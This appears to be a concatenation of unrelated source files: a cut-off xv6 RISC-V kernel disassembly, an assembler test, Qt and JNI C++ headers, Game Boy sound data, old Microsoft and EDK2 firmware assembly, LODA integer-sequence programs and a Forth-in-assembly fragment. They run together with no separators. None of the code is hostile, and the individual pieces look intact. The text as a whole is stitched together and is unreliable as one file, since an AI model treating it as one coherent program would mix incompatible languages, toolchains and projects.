a3,1024 80005f68: c794 sw a3,8(a5) if(write) 80005f6a: 100d0a63 beqz s10,8000607e <virtio_disk_rw+0x262> disk.desc[idx[1]].flags = 0; // device reads b->data 80005f6e: 0001f797 auipc a5,0x1f 80005f72: 0927b783 ld a5,146(a5) # 80025000 <disk+0x2000> 80005f76: 97ba add a5,a5,a4 80005f78: 00079623 sh zero,12(a5) else disk.desc[idx[1]].flags = VRING_DESC_F_WRITE; // device writes b->data disk.desc[idx[1]].flags |= VRING_DESC_F_NEXT; 80005f7c: 0001d517 auipc a0,0x1d 80005f80: 08450513 addi a0,a0,132 # 80023000 <disk> 80005f84: 0001f797 auipc a5,0x1f 80005f88: 07c78793 addi a5,a5,124 # 80025000 <disk+0x2000> 80005f8c: 6394 ld a3,0(a5) 80005f8e: 96ba add a3,a3,a4 80005f90: 00c6d603 lhu a2,12(a3) 80005f94: 00166613 ori a2,a2,1 80005f98: 00c69623 sh a2,12(a3) disk.desc[idx[1]].next = idx[2]; 80005f9c: f9842683 lw a3,-104(s0) 80005fa0: 6390 ld a2,0(a5) 80005fa2: 9732 add a4,a4,a2 80005fa4: 00d71723 sh a3,14(a4) disk.info[idx[0]].status = 0; 80005fa8: 20098613 addi a2,s3,512 80005fac: 0612 slli a2,a2,0x4 80005fae: 962a add a2,a2,a0 80005fb0: 02060823 sb zero,48(a2) # 2030 <_entry-0x7fffdfd0> disk.desc[idx[2]].addr = (uint64) &disk.info[idx[0]].status; 80005fb4: 00469713 slli a4,a3,0x4 80005fb8: 6394 ld a3,0(a5) 80005fba: 96ba add a3,a3,a4 80005fbc: 6589 lui a1,0x2 80005fbe: 03058593 addi a1,a1,48 # 2030 <_entry-0x7fffdfd0> 80005fc2: 94ae add s1,s1,a1 80005fc4: 94aa add s1,s1,a0 80005fc6: e284 sd s1,0(a3) disk.desc[idx[2]].len = 1; 80005fc8: 6394 ld a3,0(a5) 80005fca: 96ba add a3,a3,a4 80005fcc: 4585 li a1,1 80005fce: c68c sw a1,8(a3) disk.desc[idx[2]].flags = VRING_DESC_F_WRITE; // device writes the status 80005fd0: 6394 ld a3,0(a5) 80005fd2: 96ba add a3,a3,a4 80005fd4: 4509 li a0,2 80005fd6: 00a69623 sh a0,12(a3) disk.desc[idx[2]].next = 0; 80005fda: 6394 ld a3,0(a5) 80005fdc: 9736 add a4,a4,a3 80005fde: 00071723 sh zero,14(a4) // record struct buf for virtio_disk_intr(). b->disk = 1; 80005fe2: 00b92223 sw a1,4(s2) disk.info[idx[0]].b = b; 80005fe6: 03263423 sd s2,40(a2) // avail[0] is flags // avail[1] tells the device how far to look in avail[2...]. // avail[2...] are desc[] indices the device should process. // we only tell device the first index in our chain of descriptors. disk.avail[2 + (disk.avail[1] % NUM)] = idx[0]; 80005fea: 6794 ld a3,8(a5) 80005fec: 0026d703 lhu a4,2(a3) 80005ff0: 8b1d andi a4,a4,7 80005ff2: 2709 addiw a4,a4,2 80005ff4: 0706 slli a4,a4,0x1 80005ff6: 9736 add a4,a4,a3 80005ff8: 01371023 sh s3,0(a4) __sync_synchronize(); 80005ffc: 0ff0000f fence disk.avail[1] = disk.avail[1] + 1; 80006000: 6798 ld a4,8(a5) 80006002: 00275783 lhu a5,2(a4) 80006006: 2785 addiw a5,a5,1 80006008: 00f71123 sh a5,2(a4) *R(VIRTIO_MMIO_QUEUE_NOTIFY) = 0; // value is queue number 8000600c: 100017b7 lui a5,0x10001 80006010: 0407a823 sw zero,80(a5) # 10001050 <_entry-0x6fffefb0> // Wait for virtio_disk_intr() to say request has finished. while(b->disk == 1) { 80006014: 00492703 lw a4,4(s2) 80006018: 4785 li a5,1 8000601a: 02f71163 bne a4,a5,8000603c <virtio_disk_rw+0x220> sleep(b, &disk.vdisk_lock); 8000601e: 0001f997 auipc s3,0x1f 80006022: 08a98993 addi s3,s3,138 # 800250a8 <disk+0x20a8> while(b->disk == 1) { 80006026: 4485 li s1,1 sleep(b, &disk.vdisk_lock); 80006028: 85ce mv a1,s3 8000602a: 854a mv a0,s2 8000602c: ffffc097 auipc ra,0xffffc 80006030: 1be080e7 jalr 446(ra) # 800021ea <sleep> while(b->disk == 1) { 80006034: 00492783 lw a5,4(s2) 80006038: fe9788e3 beq a5,s1,80006028 <virtio_disk_rw+0x20c> } disk.info[idx[0]].b = 0; 8000603c: f9042483 lw s1,-112(s0) 80006040: 20048793 addi a5,s1,512 # 10001200 <_entry-0x6fffee00> 80006044: 00479713 slli a4,a5,0x4 80006048: 0001d797 auipc a5,0x1d 8000604c: fb878793 addi a5,a5,-72 # 80023000 <disk> 80006050: 97ba add a5,a5,a4 80006052: 0207b423 sd zero,40(a5) if(disk.desc[i].flags & VRING_DESC_F_NEXT) 80006056: 0001f917 auipc s2,0x1f 8000605a: faa90913 addi s2,s2,-86 # 80025000 <disk+0x2000> free_desc(i); 8000605e: 8526 mv a0,s1 80006060: 00000097 auipc ra,0x0 80006064: bf6080e7 jalr -1034(ra) # 80005c56 <free_desc> if(disk.desc[i].flags & VRING_DESC_F_NEXT) 80006068: 0492 slli s1,s1,0x4 8000606a: 00093783 ld a5,0(s2) 8000606e: 94be add s1,s1,a5 80006070: 00c4d783 lhu a5,12(s1) 80006074: 8b85 andi a5,a5,1 80006076: cf89 beqz a5,80006090 <virtio_disk_rw+0x274> i = disk.desc[i].next; 80006078: 00e4d483 lhu s1,14(s1) free_desc(i); 8000607c: b7cd j 8000605e <virtio_disk_rw+0x242> disk.desc[idx[1]].flags = VRING_DESC_F_WRITE; // device writes b->data 8000607e: 0001f797 auipc a5,0x1f 80006082: f827b783 ld a5,-126(a5) # 80025000 <disk+0x2000> 80006086: 97ba add a5,a5,a4 80006088: 4689 li a3,2 8000608a: 00d79623 sh a3,12(a5) 8000608e: b5fd j 80005f7c <virtio_disk_rw+0x160> free_chain(idx[0]); release(&disk.vdisk_lock); 80006090: 0001f517 auipc a0,0x1f 80006094: 01850513 addi a0,a0,24 # 800250a8 <disk+0x20a8> 80006098: ffffb097 auipc ra,0xffffb 8000609c: c2c080e7 jalr -980(ra) # 80000cc4 <release> } 800060a0: 70e6 ld ra,120(sp) 800060a2: 7446 ld s0,112(sp) 800060a4: 74a6 ld s1,104(sp) 800060a6: 7906 ld s2,96(sp) 800060a8: 69e6 ld s3,88(sp) 800060aa: 6a46 ld s4,80(sp) 800060ac: 6aa6 ld s5,72(sp) 800060ae: 6b06 ld s6,64(sp) 800060b0: 7be2 ld s7,56(sp) 800060b2: 7c42 ld s8,48(sp) 800060b4: 7ca2 ld s9,40(sp) 800060b6: 7d02 ld s10,32(sp) 800060b8: 6109 addi sp,sp,128 800060ba: 8082 ret if(write) 800060bc: e20d1ee3 bnez s10,80005ef8 <virtio_disk_rw+0xdc> buf0.type = VIRTIO_BLK_T_IN; // read the disk 800060c0: f8042023 sw zero,-128(s0) 800060c4: bd2d j 80005efe <virtio_disk_rw+0xe2> 00000000800060c6 <virtio_disk_intr>: void virtio_disk_intr() { 800060c6: 1101 addi sp,sp,-32 800060c8: ec06 sd ra,24(sp) 800060ca: e822 sd s0,16(sp) 800060cc: e426 sd s1,8(sp) 800060ce: e04a sd s2,0(sp) 800060d0: 1000 addi s0,sp,32 acquire(&disk.vdisk_lock); 800060d2: 0001f517 auipc a0,0x1f 800060d6: fd650513 addi a0,a0,-42 # 800250a8 <disk+0x20a8> 800060da: ffffb097 auipc ra,0xffffb 800060de: b36080e7 jalr -1226(ra) # 80000c10 <acquire> while((disk.used_idx % NUM) != (disk.used->id % NUM)){ 800060e2: 0001f717 auipc a4,0x1f 800060e6: f1e70713 addi a4,a4,-226 # 80025000 <disk+0x2000> 800060ea: 02075783 lhu a5,32(a4) 800060ee: 6b18 ld a4,16(a4) 800060f0: 00275683 lhu a3,2(a4) 800060f4: 8ebd xor a3,a3,a5 800060f6: 8a9d andi a3,a3,7 800060f8: cab9 beqz a3,8000614e <virtio_disk_intr+0x88> int id = disk.used->elems[disk.used_idx].id; if(disk.info[id].status != 0) 800060fa: 0001d917 auipc s2,0x1d 800060fe: f0690913 addi s2,s2,-250 # 80023000 <disk> panic("virtio_disk_intr status"); disk.info[id].b->disk = 0; // disk is done with buf wakeup(disk.info[id].b); disk.used_idx = (disk.used_idx + 1) % NUM; 80006102: 0001f497 auipc s1,0x1f 80006106: efe48493 addi s1,s1,-258 # 80025000 <disk+0x2000> int id = disk.used->elems[disk.used_idx].id; 8000610a: 078e slli a5,a5,0x3 8000610c: 97ba add a5,a5,a4 8000610e: 43dc lw a5,4(a5) if(disk.info[id].status != 0) 80006110: 20078713 addi a4,a5,512 80006114: 0712 slli a4,a4,0x4 80006116: 974a add a4,a4,s2 80006118: 03074703 lbu a4,48(a4) 8000611c: ef21 bnez a4,80006174 <virtio_disk_intr+0xae> disk.info[id].b->disk = 0; // disk is done with buf 8000611e: 20078793 addi a5,a5,512 80006122: 0792 slli a5,a5,0x4 80006124: 97ca add a5,a5,s2 80006126: 7798 ld a4,40(a5) 80006128: 00072223 sw zero,4(a4) wakeup(disk.info[id].b); 8000612c: 7788 ld a0,40(a5) 8000612e: ffffc097 auipc ra,0xffffc 80006132: 242080e7 jalr 578(ra) # 80002370 <wakeup> disk.used_idx = (disk.used_idx + 1) % NUM; 80006136: 0204d783 lhu a5,32(s1) 8000613a: 2785 addiw a5,a5,1 8000613c: 8b9d andi a5,a5,7 8000613e: 02f49023 sh a5,32(s1) while((disk.used_idx % NUM) != (disk.used->id % NUM)){ 80006142: 6898 ld a4,16(s1) 80006144: 00275683 lhu a3,2(a4) 80006148: 8a9d andi a3,a3,7 8000614a: fcf690e3 bne a3,a5,8000610a <virtio_disk_intr+0x44> } *R(VIRTIO_MMIO_INTERRUPT_ACK) = *R(VIRTIO_MMIO_INTERRUPT_STATUS) & 0x3; 8000614e: 10001737 lui a4,0x10001 80006152: 533c lw a5,96(a4) 80006154: 8b8d andi a5,a5,3 80006156: d37c sw a5,100(a4) release(&disk.vdisk_lock); 80006158: 0001f517 auipc a0,0x1f 8000615c: f5050513 addi a0,a0,-176 # 800250a8 <disk+0x20a8> 80006160: ffffb097 auipc ra,0xffffb 80006164: b64080e7 jalr -1180(ra) # 80000cc4 <release> } 80006168: 60e2 ld ra,24(sp) 8000616a: 6442 ld s0,16(sp) 8000616c: 64a2 ld s1,8(sp) 8000616e: 6902 ld s2,0(sp) 80006170: 6105 addi sp,sp,32 80006172: 8082 ret panic("virtio_disk_intr status"); 80006174: 00002517 auipc a0,0x2 80006178: 68450513 addi a0,a0,1668 # 800087f8 <syscalls+0x3d0> 8000617c: ffffa097 auipc ra,0xffffa 80006180: 3cc080e7 jalr 972(ra) # 80000548 <panic> ... 0000000080007000 <_trampoline>: 80007000: 14051573 csrrw a0,sscratch,a0 80007004: 02153423 sd ra,40(a0) 80007008: 02253823 sd sp,48(a0) 8000700c: 02353c23 sd gp,56(a0) 80007010: 04453023 sd tp,64(a0) 80007014: 04553423 sd t0,72(a0) 80007018: 04653823 sd t1,80(a0) 8000701c: 04753c23 sd t2,88(a0) 80007020: f120 sd s0,96(a0) 80007022: f524 sd s1,104(a0) 80007024: fd2c sd a1,120(a0) 80007026: e150 sd a2,128(a0) 80007028: e554 sd a3,136(a0) 8000702a: e958 sd a4,144(a0) 8000702c: ed5c sd a5,152(a0) 8000702e: 0b053023 sd a6,160(a0) 80007032: 0b153423 sd a7,168(a0) 80007036: 0b253823 sd s2,176(a0) 8000703a: 0b353c23 sd s3,184(a0) 8000703e: 0d453023 sd s4,192(a0) 80007042: 0d553423 sd s5,200(a0) 80007046: 0d653823 sd s6,208(a0) 8000704a: 0d753c23 sd s7,216(a0) 8000704e: 0f853023 sd s8,224(a0) 80007052: 0f953423 sd s9,232(a0) 80007056: 0fa53823 sd s10,240(a0) 8000705a: 0fb53c23 sd s11,248(a0) 8000705e: 11c53023 sd t3,256(a0) 80007062: 11d53423 sd t4,264(a0) 80007066: 11e53823 sd t5,272(a0) 8000706a: 11f53c23 sd t6,280(a0) 8000706e: 140022f3 csrr t0,sscratch 80007072: 06553823 sd t0,112(a0) 80007076: 00853103 ld sp,8(a0) 8000707a: 02053203 ld tp,32(a0) 8000707e: 01053283 ld t0,16(a0) 80007082: 00053303 ld t1,0(a0) 80007086: 18031073 csrw satp,t1 8000708a: 12000073 sfence.vma 8000708e: 8282 jr t0 0000000080007090 <userret>: 80007090: 18059073 csrw satp,a1 80007094: 12000073 sfence.vma 80007098: 07053283 ld t0,112(a0) 8000709c: 14029073 csrw sscratch,t0 800070a0: 02853083 ld ra,40(a0) 800070a4: 03053103 ld sp,48(a0) 800070a8: 03853183 ld gp,56(a0) 800070ac: 04053203 ld tp,64(a0) 800070b0: 04853283 ld t0,72(a0) 800070b4: 05053303 ld t1,80(a0) 800070b8: 05853383 ld t2,88(a0) 800070bc: 7120 ld s0,96(a0) 800070be: 7524 ld s1,104(a0) 800070c0: 7d2c ld a1,120(a0) 800070c2: 6150 ld a2,128(a0) 800070c4: 6554 ld a3,136(a0) 800070c6: 6958 ld a4,144(a0) 800070c8: 6d5c ld a5,152(a0) 800070ca: 0a053803 ld a6,160(a0) 800070ce: 0a853883 ld a7,168(a0) 800070d2: 0b053903 ld s2,176(a0) 800070d6: 0b853983 ld s3,184(a0) 800070da: 0c053a03 ld s4,192(a0) 800070de: 0c853a83 ld s5,200(a0) 800070e2: 0d053b03 ld s6,208(a0) 800070e6: 0d853b83 ld s7,216(a0) 800070ea: 0e053c03 ld s8,224(a0) 800070ee: 0e853c83 ld s9,232(a0) 800070f2: 0f053d03 ld s10,240(a0) 800070f6: 0f853d83 ld s11,248(a0) 800070fa: 10053e03 ld t3,256(a0) 800070fe: 10853e83 ld t4,264(a0) 80007102: 11053f03 ld t5,272(a0) 80007106: 11853f83 ld t6,280(a0) 8000710a: 14051573 csrrw a0,sscratch,a0 8000710e: 10200073 sret ...
SECTION "Test", ROM0 assert STRIN("foo bar baz", "bar") == STRRIN("foo bar baz", "bar") assert STRIN("foo bar bargain", "bar") == 5 assert STRRIN("foo bar bargain", "bar") == 9 assert STRIN("foo bar", "qux") == 0 assert STRRIN("foo bar", "qux") == 0 assert STRIN("foo", "foobar") == 0 assert STRRIN("foo", "foobar") == 0 assert STRIN("foobar", "") == 1 assert STRRIN("foobar", "") == STRLEN("foobar") + 1
#pragma once #include "./AbstractSequentialList.hpp" class JObjectArray; namespace java::io { class ObjectInputStream; } namespace java::io { class ObjectOutputStream; } class JObject; class JString; namespace java::util { class LinkedList : public java::util::AbstractSequentialList { public: // Fields // QJniObject forward template<typename ...Ts> explicit LinkedList(const char *className, const char *sig, Ts...agv) : java::util::AbstractSequentialList(className, sig, std::forward<Ts>(agv)...) {} LinkedList(QJniObject obj); // Constructors LinkedList(); LinkedList(JObject arg0); // Methods jboolean add(JObject arg0) const; void add(jint arg0, JObject arg1) const; jboolean addAll(JObject arg0) const; jboolean addAll(jint arg0, JObject arg1) const; void addFirst(JObject arg0) const; void addLast(JObject arg0) const; void clear() const; JObject clone() const; jboolean contains(JObject arg0) const; JObject descendingIterator() const; JObject element() const; JObject get(jint arg0) const; JObject getFirst() const; JObject getLast() const; jint indexOf(JObject arg0) const; jint lastIndexOf(JObject arg0) const; JObject listIterator(jint arg0) const; jboolean offer(JObject arg0) const; jboolean offerFirst(JObject arg0) const; jboolean offerLast(JObject arg0) const; JObject peek() const; JObject peekFirst() const; JObject peekLast() const; JObject poll() const; JObject pollFirst() const; JObject pollLast() const; JObject pop() const; void push(JObject arg0) const; jboolean remove(JObject arg0) const; JObject remove() const; JObject remove(jint arg0) const; JObject removeFirst() const; jboolean removeFirstOccurrence(JObject arg0) const; JObject removeLast() const; jboolean removeLastOccurrence(JObject arg0) const; JObject set(jint arg0, JObject arg1) const; jint size() const; JObject spliterator() const; JObjectArray toArray() const; JObjectArray toArray(JObjectArray arg0) const; }; } // namespace java::util
; This corresponds to Cry_Unused_Ch5, Cry_Unused_Ch6, and Cry_Unused_Ch8 in pokegold and pokecrystal. SFX_UnusedCry_3_Ch5: ; unreferenced duty_cycle_pattern 3, 3, 0, 0 square_note 15, 14, 0, 1920 square_note 15, 15, 0, 1924 square_note 15, 12, 3, 1504 square_note 15, 12, 4, 1536 square_note 10, 6, -4, 1920 square_note 8, 7, 1, 1924 sound_ret SFX_UnusedCry_3_Ch6: ; unreferenced duty_cycle_pattern 0, 0, 1, 1 square_note 15, 10, 0, 1857 square_note 15, 11, 0, 1859 square_note 15, 9, 3, 1457 square_note 15, 9, 4, 1473 square_note 10, 4, -4, 1857 square_note 8, 3, 1, 1862 sound_ret SFX_UnusedCry_3_Ch8: ; unreferenced noise_note 2, 15, 2, 76 noise_note 6, 14, 0, 58 noise_note 15, 13, 0, 58 noise_note 8, 13, 0, 44 noise_note 6, 14, 6, 76 noise_note 12, 7, -5, 76 noise_note 15, 13, 3, 76 sound_ret
title fpreset - floating point package reset routine ;--------------------------------------------------------------------------- ; ; Copyright (C) Microsoft Corp. 1985 ; ;--------------------------------------------------------------------------- include version.inc .xlist include cmacros.inc ;[1] include os2supp.inc .list createSeg CDATA, cdata, word, common, DATA, DGROUP sBegin cdata externD _fpinit sEnd cdata dgroup group cdata assumes ds,dgroup sBegin code assumes cs,code ;*** _fpreset - reset floating point math and control word cproc _fpreset,<PUBLIC>,<> cBegin ;ifdll - don't _loadds - DS not used> mov cx,word ptr [_fpinit+2] ;Get segment of math vector jcxz nofloat ;No floating point present mov bx,1 call [_fpinit] ; reset chip mov bx,4 mov ax,1332h ; ignored by altmath/decmath call [_fpinit] ; set initial control word nofloat: cEnd sEnd end
/*************************************************************************** * Copyright ESIEE Paris (2018) * * * * Contributor(s) : Benjamin Perret * * * * Distributed under the terms of the CECILL-B License. * * * * The full license is in the file LICENSE, distributed with this software. * ****************************************************************************/ #pragma once #define HIGRA_VERSION_MAJOR 0 #define HIGRA_VERSION_MINOR 6 #define HIGRA_VERSION_PATCH 5
; A194767: Denominator of the fourth increasing diagonal of the autosequence of second kind from (-1)^n / (n+1). ; 2,2,12,20,10,42,56,24,90,110,44,156,182,70,240,272,102,342,380,140,462,506,184,600,650,234,756,812,290,930,992,352,1122,1190 add $0,1 mov $2,$0 add $2,1 mul $0,$2 mov $1,$0 gcd $2,3 div $1,$2 lpb $0,1 mov $0,2 mul $1,2 sub $1,1 lpe div $1,4 mul $1,2 add $1,2
#include "checkforupdatesdialog.h" #include "common.h" #ifdef Q_OS_WIN #include "autoupdatedialog.h" #endif #include <QVBoxLayout> #include <QStackedLayout> #include <QLabel> #include <QPushButton> #include <QProgressBar> CheckForUpdatesDialog::CheckForUpdatesDialog(const LatestReleaseChecker::Release *release, QWidget *parent) : QDialog(parent) , m_latestReleaseChecker(new LatestReleaseChecker(this)) , m_latestRelease(LatestReleaseChecker::Release(VERSION)) #ifdef Q_OS_WIN , m_updateButton(new QPushButton("Update")) #else , m_updateButton(nullptr) #endif , m_messageLayout(new QStackedLayout) , m_latestReleaseLabel(new QLabel) { if (m_updateButton) m_updateButton->setEnabled(false); m_latestReleaseLabel->setFixedSize(300, 80); m_latestReleaseLabel->setWordWrap(true); m_latestReleaseLabel->setOpenExternalLinks(true); QVBoxLayout *layout = new QVBoxLayout; setLayout(layout); QPushButton *closeButton = new QPushButton("Close"); layout->addWidget(new QLabel(QString("You're currently using version <b>%1</b>.").arg(VERSION))); layout->addLayout(m_messageLayout); { QHBoxLayout *hbox = new QHBoxLayout; hbox->addStretch(1); hbox->addWidget(closeButton); if (m_updateButton) { hbox->addStretch(1); hbox->addWidget(m_updateButton); } hbox->addStretch(1); layout->addLayout(hbox); } QWidget *loadingWidget = new QWidget; QHBoxLayout *loadingLayout = new QHBoxLayout; QProgressBar *progressBar = new QProgressBar; loadingLayout->setMargin(0); progressBar->setRange(0, 0); loadingLayout->addWidget(new QLabel("Checking latest version")); loadingLayout->addWidget(progressBar); loadingWidget->setLayout(loadingLayout); m_messageLayout->addWidget(loadingWidget); m_messageLayout->addWidget(m_latestReleaseLabel); m_messageLayout->setCurrentIndex(0); connect(closeButton, &QPushButton::clicked, this, &QDialog::accept); if (m_updateButton) connect(m_updateButton, &QPushButton::clicked, this, &CheckForUpdatesDialog::onUpdateClicked); connect(m_latestReleaseChecker, &LatestReleaseChecker::failedToGetLatestRelease, this, &CheckForUpdatesDialog::onFailedToGetLatestRelease); connect(m_latestReleaseChecker, &LatestReleaseChecker::latestReleaseFound, this, &CheckForUpdatesDialog::onLatestReleaseFound); if (release) { onLatestReleaseFound(*release); } else { m_latestReleaseChecker->checkLatestRelease(); } } void CheckForUpdatesDialog::onUpdateClicked() { #ifdef Q_OS_WIN accept(); AutoUpdateDialog dialog(parentWidget()); dialog.startDownloading(m_latestRelease.windowsDownloadUrl); dialog.exec(); #endif } void CheckForUpdatesDialog::onFailedToGetLatestRelease(const QString &errorString) { m_latestReleaseLabel->setText("Error: " + errorString); m_messageLayout->setCurrentIndex(1); } void CheckForUpdatesDialog::onLatestReleaseFound(const LatestReleaseChecker::Release &release) { m_latestRelease = release; bool isNewer = release.isNewerThan(VERSION); if (isNewer) { m_latestReleaseLabel->setText(QString( "Latest release is version <b>%1</b>.<br/>" "You can manually download it from <a href=\"%2\">here</a>%3") .arg(release.versionString) .arg(release.url) #ifdef Q_OS_WIN .arg(release.windowsDownloadUrl.isEmpty() ? ".<br/>Automatic updating is currently not available." : " or update automatically by pressing the 'Update' button.")); #else .arg(".")); #endif } else { m_latestReleaseLabel->setText(QString( "Latest release is version <b>%1</b>.<br/>" "You are up to date.").arg(release.versionString)); } m_messageLayout->setCurrentIndex(1); if (m_updateButton) m_updateButton->setEnabled(isNewer && !release.windowsDownloadUrl.isEmpty()); }
;------------------------------------------------------------------------------ ; ; Copyright (c) 2016 - 2018, Intel Corporation. All rights reserved.<BR> ; This program and the accompanying materials ; are licensed and made available under the terms and conditions of the BSD License ; which accompanies this distribution. The full text of the license may be found at ; http://opensource.org/licenses/bsd-license.php. ; ; THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS, ; WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED. ; ; Module Name: ; ; SmiEntry.nasm ; ; Abstract: ; ; Code template of the SMI handler for a particular processor ; ;------------------------------------------------------------------------------- %include "StuffRsb.inc" ; ; Variables referrenced by C code ; %define MSR_IA32_MISC_ENABLE 0x1A0 %define MSR_EFER 0xc0000080 %define MSR_EFER_XD 0x800 ; ; Constants relating to PROCESSOR_SMM_DESCRIPTOR ; %define DSC_OFFSET 0xfb00 %define DSC_GDTPTR 0x30 %define DSC_GDTSIZ 0x38 %define DSC_CS 14 %define DSC_DS 16 %define DSC_SS 18 %define DSC_OTHERSEG 20 ; ; Constants relating to CPU State Save Area ; %define SSM_DR6 0xffd0 %define SSM_DR7 0xffc8 %define PROTECT_MODE_CS 0x8 %define PROTECT_MODE_DS 0x20 %define LONG_MODE_CS 0x38 %define TSS_SEGMENT 0x40 %define GDT_SIZE 0x50 extern ASM_PFX(SmiRendezvous) extern ASM_PFX(gSmiHandlerIdtr) extern ASM_PFX(CpuSmmDebugEntry) extern ASM_PFX(CpuSmmDebugExit) global ASM_PFX(gPatchSmbase) extern ASM_PFX(mXdSupported) global ASM_PFX(gPatchXdSupported) global ASM_PFX(gPatchSmiStack) global ASM_PFX(gPatchSmiCr3) global ASM_PFX(gcSmiHandlerTemplate) global ASM_PFX(gcSmiHandlerSize) DEFAULT REL SECTION .text BITS 16 ASM_PFX(gcSmiHandlerTemplate): _SmiEntryPoint: mov bx, _GdtDesc - _SmiEntryPoint + 0x8000 mov ax,[cs:DSC_OFFSET + DSC_GDTSIZ] dec ax mov [cs:bx], ax mov eax, [cs:DSC_OFFSET + DSC_GDTPTR] mov [cs:bx + 2], eax o32 lgdt [cs:bx] ; lgdt fword ptr cs:[bx] mov ax, PROTECT_MODE_CS mov [cs:bx-0x2],ax mov edi, strict dword 0 ; source operand will be patched ASM_PFX(gPatchSmbase): lea eax, [edi + (@ProtectedMode - _SmiEntryPoint) + 0x8000] mov [cs:bx-0x6],eax mov ebx, cr0 and ebx, 0x9ffafff3 or ebx, 0x23 mov cr0, ebx jmp dword 0x0:0x0 _GdtDesc: DW 0 DD 0 BITS 32 @ProtectedMode: mov ax, PROTECT_MODE_DS o16 mov ds, ax o16 mov es, ax o16 mov fs, ax o16 mov gs, ax o16 mov ss, ax mov esp, strict dword 0 ; source operand will be patched ASM_PFX(gPatchSmiStack): jmp ProtFlatMode BITS 64 ProtFlatMode: mov eax, strict dword 0 ; source operand will be patched ASM_PFX(gPatchSmiCr3): mov cr3, rax mov eax, 0x668 ; as cr4.PGE is not set here, refresh cr3 mov cr4, rax ; in PreModifyMtrrs() to flush TLB. ; Load TSS sub esp, 8 ; reserve room in stack sgdt [rsp] mov eax, [rsp + 2] ; eax = GDT base add esp, 8 mov dl, 0x89 mov [rax + TSS_SEGMENT + 5], dl ; clear busy flag mov eax, TSS_SEGMENT ltr ax ; enable NXE if supported mov al, strict byte 1 ; source operand may be patched ASM_PFX(gPatchXdSupported): cmp al, 0 jz @SkipXd ; ; Check XD disable bit ; mov ecx, MSR_IA32_MISC_ENABLE rdmsr sub esp, 4 push rdx ; save MSR_IA32_MISC_ENABLE[63-32] test edx, BIT2 ; MSR_IA32_MISC_ENABLE[34] jz .0 and dx, 0xFFFB ; clear XD Disable bit if it is set wrmsr .0: mov ecx, MSR_EFER rdmsr or ax, MSR_EFER_XD ; enable NXE wrmsr jmp @XdDone @SkipXd: sub esp, 8 @XdDone: ; Switch into @LongMode push LONG_MODE_CS ; push cs hardcore here call Base ; push return address for retf later Base: add dword [rsp], @LongMode - Base; offset for far retf, seg is the 1st arg mov ecx, MSR_EFER rdmsr or ah, 1 ; enable LME wrmsr mov rbx, cr0 or ebx, 0x80010023 ; enable paging + WP + NE + MP + PE mov cr0, rbx retf @LongMode: ; long mode (64-bit code) starts here mov rax, strict qword 0 ; mov rax, ASM_PFX(gSmiHandlerIdtr) SmiHandlerIdtrAbsAddr: lidt [rax] lea ebx, [rdi + DSC_OFFSET] mov ax, [rbx + DSC_DS] mov ds, eax mov ax, [rbx + DSC_OTHERSEG] mov es, eax mov fs, eax mov gs, eax mov ax, [rbx + DSC_SS] mov ss, eax mov rax, strict qword 0 ; mov rax, _SmiHandler _SmiHandlerAbsAddr: jmp rax _SmiHandler: mov rbx, [rsp + 0x8] ; rcx <- CpuIndex ; ; Save FP registers ; sub rsp, 0x200 fxsave64 [rsp] add rsp, -0x20 mov rcx, rbx call ASM_PFX(CpuSmmDebugEntry) mov rcx, rbx call ASM_PFX(SmiRendezvous) mov rcx, rbx call ASM_PFX(CpuSmmDebugExit) add rsp, 0x20 ; ; Restore FP registers ; fxrstor64 [rsp] add rsp, 0x200 lea rax, [ASM_PFX(mXdSupported)] mov al, [rax] cmp al, 0 jz .1 pop rdx ; get saved MSR_IA32_MISC_ENABLE[63-32] test edx, BIT2 jz .1 mov ecx, MSR_IA32_MISC_ENABLE rdmsr or dx, BIT2 ; set XD Disable bit if it was set before entering into SMM wrmsr .1: StuffRsb64 rsm ASM_PFX(gcSmiHandlerSize) DW $ - _SmiEntryPoint global ASM_PFX(PiSmmCpuSmiEntryFixupAddress) ASM_PFX(PiSmmCpuSmiEntryFixupAddress): lea rax, [ASM_PFX(gSmiHandlerIdtr)] lea rcx, [SmiHandlerIdtrAbsAddr] mov qword [rcx - 8], rax lea rax, [_SmiHandler] lea rcx, [_SmiHandlerAbsAddr] mov qword [rcx - 8], rax ret
start_def ASM, prompt, "prompt" call .b .a: db 27, "[32;1m ok ", 27, "[0m" .b: pop rax pushthing rax pushthing .b - .a call code_type end_def prompt start_def ASM, err, "err" call .b .a: db 27, "[31;1m ? ", 27, "[0m" .b: pop rax pushthing rax pushthing .b - .a call code_type end_def err start_def ASM, underflow, "underflow" call .b .a: db 10, 27, "[31;1mERROR! ", 27, "[7m^W ", 27, "[27m to continue", 27, "[0m", 24, 10 .b: pop rax pushthing rax pushthing .b - .a call code_type call code_banner call code_prompt end_def underflow start_def ASM, close, "close" popthing rcx W32Call W32_CloseHandle end_def close start_def ASM, memkey, "memkey" pushthing G_MEMINPUT mov TOS, [TOS] and TOS, 0xff inc QWORD G_MEMINPUT end_def memkey start_def ASM, cr, "cr" pushthing 10 call code_emit end_def cr start_def ASM, space, "space" pushthing 32 call code_emit end_def space start_def ASM, word, "word" mov rax, G_TIBB ; move the TIB up inc rax ; xor ah, ah ; wrap at 256 chars mov G_TIBB, rax ; mov G_TIBA, rax ; start an empty string .loop: call G_KEY popthing rax cmp al, 32 je .done cmp al, 10 je .done cmp al, 13 je .done cmp al, 9 je .done cmp al, 8 je .bs mov rbx, G_TIBB inc QWORD G_TIBB mov [rbx], al jmp .loop .done: mov rbx, G_TIBA pushthing rbx mov rbx, G_TIBB sub rbx, TOS pushthing rbx ret .bs: dec QWORD G_TIBB jmp .loop end_def word
/* Qt4xHb - Bindings libraries for Harbour/xHarbour and Qt Framework 4 Copyright (C) 2021 Marcos Antonio Gambeta <marcosgambeta AT outlook DOT com> */ /* DO NOT EDIT THIS FILE - the content was created using a source code generator */
; A012265: x - x^3/3! + x^5/5! - ... + (-1)^n*x^(2n+1)/(2n+1)! has 2a(n)+1 real roots. ; 0,1,0,1,2,1,2,3,2,3,2,3,4,3,4,3,4,5,4,5,6,5,6,5,6,7,6,7,8,7,8,7,8,9,8,9,8,9,10,9,10,11,10,11,10,11,12,11,12,11,12,13,12,13,14,13,14,13,14,15,14,15,16 add $0,5 cal $0,339765 ; a(n) = 2*floor(n*phi) - 3*n, where phi = (1+sqrt(5))/2. add $1,$0
